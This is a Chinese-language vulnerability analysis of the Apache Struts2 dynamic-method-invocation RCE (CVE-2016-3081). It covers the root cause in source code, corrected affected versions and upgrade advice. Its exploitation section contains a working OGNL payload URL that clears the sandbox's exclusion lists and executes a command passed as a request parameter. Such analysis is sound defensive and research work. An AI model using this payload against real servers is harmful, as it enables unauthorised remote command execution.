0x00 漏洞簡述

---

2016年4月21日Struts2官方釋出兩個CVE，其中CVE-2016-3081官方評級為高。主要原因為在使用者開啟動態方法呼叫的情況下，會被攻擊者實現遠端程式碼執行攻擊。從我自己搜尋的情況來看，國內開啟這個功能的網站不在少數，所以這個“Possible Remote Code Execution”漏洞的被打的可能性還是很高的。

0x01 漏洞原理

---

直接進行版本比對，我們可以看到針對這個問題，只對DefaultActionMapper.java這個檔案進行了修改，修改內容如下：

我們可以看到只是把method成員變數的值進行了一次過濾，cleanupActionName這個方法是在對“action:”濫用的問題進行新增的，禁止了絕大多數的特殊字元。但是在後來的版本變更中忽略了之前的問題，將method也引入了Ongl表示式，程式碼在DefaultAction.java的invokeAction中：

#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        Object methodResult;
        try {
            methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);

我們可以看到methodName被帶入到getValue了，熟悉Struts相關漏洞的朋友應該都明白這是什麼意思，雖然後面被強制新增了一對圓括號，但是想辦法語法補齊就好了。相對應的我們來看下在2.3.18版本之前的程式碼是怎麼處理methodName的：

#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        boolean methodCalled = false;
        Object methodResult = null;
        Method method = null;
        try {
            method = getAction().getClass().getMethod(methodName, EMPTY_CLASS_ARRAY);

在這裡使用的是反射，所以在這個漏洞釋出的時候，我曾一瞬間覺得又是一個騙CVE的雞肋，但是事實上，這是一個威脅很大的漏洞。但是官方說的受影響版本Struts 2.0.0 - Struts Struts 2.3.28 (except 2.3.20.2 and 2.3.24.2)是不嚴謹的，應該是2.3.18-2.3.28(except 2.3.20.2 and 2.3.24.2)。

0x02 漏洞利用

---

利用方式主要難點在於兩個地方，一個是上文提到的對於表示式最後的圓括號給予正確的表示式意義。另一個就是在傳輸過程中method會經過一次轉義，雙引號和單引號的沒有辦法使用了，所以需要找到一個繞過。剩下的就是原來套沙盒繞過，命令執行的那套東西了。

對於圓括號，可以直接使用new java.lang.String這樣來拼接成new java.lang.String()構成正確Ognl語法。

至於不能使用引號的話，命令執行我們可以使用引用引數的方法來完成對字串的提取，例如：使用#parameters.cmd來提取http的cmd引數。測試PoC如下：

http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@[email protected]_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@[email protected]_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

效果如下圖所示：

這裡我小小的猜測一下，官方釋出的日期是20，而漏洞提交team做宣傳是在4月25日，那麼是不是在提交CVE時還沒有完成彈計算器的利用，還是為了符合漏洞提交規範做的延時？小八卦一下O(∩_∩)O。

0x03 漏洞總結

---

雖然現在CVE已經發布，但是從目前網路情況上（twitter和微博）來看，並沒有安全研究人員關注到這兩個CVE，可能是因為官方釋出過太多雞肋的CVE了，國內的各路炒洞高手已經對Struts2麻木了。所以目前的情況是屬於漏洞存在那裡，發了CVE，但是沒有任何人去研究利用，釋出相關分析。這個漏洞和Struts2前N次被炒的熱熱鬧鬧的漏洞影響和危害相比，真是不可同日而語，這個漏洞真的很實在。

看到這裡，打算磨拳擦掌要去調回顯PoC的朋友們，這裡我要在提醒一次。雖然我在之前說了存在這個問題的站點很多，但是這個漏洞存在版本限制，在Struts2.3.18及其以上的版本才可以觸發。而國內大多數的站點由於Struts在2.3.16之後再也沒有出現過大的問題，所以絕大多數停留在2.3.16這個版本，這讓這個看似很不錯的漏洞略顯雞肋了。

防護方案

目前官方已經推出了2.3.20.2、2.3.24.2和2.3.28.1修復了這個問題，大家可以針對自己所使用的版本進行升級。下載地址：https://struts.apache.org/download.cgi#struts23281